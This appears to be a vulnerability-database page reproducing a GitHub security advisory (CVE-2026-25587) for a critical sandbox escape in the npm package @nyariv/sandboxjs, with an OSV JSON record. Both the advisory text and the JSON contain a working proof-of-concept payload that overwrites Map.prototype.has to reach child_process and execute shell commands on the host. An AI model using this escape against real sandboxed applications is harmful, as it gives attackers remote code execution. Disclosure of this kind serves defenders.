GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-66H4-QJ4X-38XP

Vulnerability from github – Published: 2026-02-05 21:05 – Updated: 2026-02-06 21:42
VLAI
Summary
@nyariv/sandboxjs has a Sandbox Escape vulnerability
Details

Summary

As Map is in SAFE_PROTOYPES, it's prototype can be obtained via Map.prototype. By overwriting Map.prototype.has the sandbox can be escaped.

Details

This is effectively equivalent to CVE-2026-25142, but without __lookupGetter__ (let was used during testing), it turns out the let implementation is bugged:

let a = Map.prototype;
console.log(a) // undefined

const a = Map.prototype;
console.log(a) // Object [Map] {}

let a = 123;
console.log(a) // 123

const a = 123;
console.log(a) // 123

PoC

const s = require("@nyariv/sandboxjs").default;
const sb = new s();

payload = `
const m = Map.prototype;
m.has = isFinite;

console.log(
  isFinite.constructor(
    "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
  )(),
);`;

sb.compile(payload)().run();

Impact

Able to set Map.prototype.has -> RCE

Severity
10.0 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.8.28"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@nyariv/sandboxjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.8.29"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25587"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-74",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-05T21:05:59Z",
    "nvd_published_at": "2026-02-06T20:16:10Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nAs `Map` is in `SAFE_PROTOYPES`, it\u0027s prototype can be obtained via `Map.prototype`. By overwriting `Map.prototype.has` the sandbox can be escaped.\n\n### Details\n\nThis is effectively equivalent to CVE-2026-25142, but without `__lookupGetter__`  (`let` was used during testing), it turns out the `let` implementation is bugged:\n\n```js\nlet a = Map.prototype;\nconsole.log(a) // undefined\n```\n\n```js\nconst a = Map.prototype;\nconsole.log(a) // Object [Map] {}\n```\n\n```js\nlet a = 123;\nconsole.log(a) // 123\n```\n\n```js\nconst a = 123;\nconsole.log(a) // 123\n``` \n\n### PoC\n\n```js\nconst s = require(\"@nyariv/sandboxjs\").default;\nconst sb = new s();\n\npayload = `\nconst m = Map.prototype;\nm.has = isFinite;\n\nconsole.log(\n  isFinite.constructor(\n    \"return process.getBuiltinModule(\u0027child_process\u0027).execSync(\u0027ls -lah\u0027).toString()\",\n  )(),\n);`;\n\nsb.compile(payload)().run();\n```\n\n### Impact\n\nAble to set `Map.prototype.has` -\u003e RCE",
  "id": "GHSA-66h4-qj4x-38xp",
  "modified": "2026-02-06T21:42:54Z",
  "published": "2026-02-05T21:05:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-66h4-qj4x-38xp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25587"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nyariv/SandboxJS/commit/67cb186c41c78c51464f70405504e8ef0a6e43c3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nyariv/SandboxJS"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@nyariv/sandboxjs has a Sandbox Escape vulnerability"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.


Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.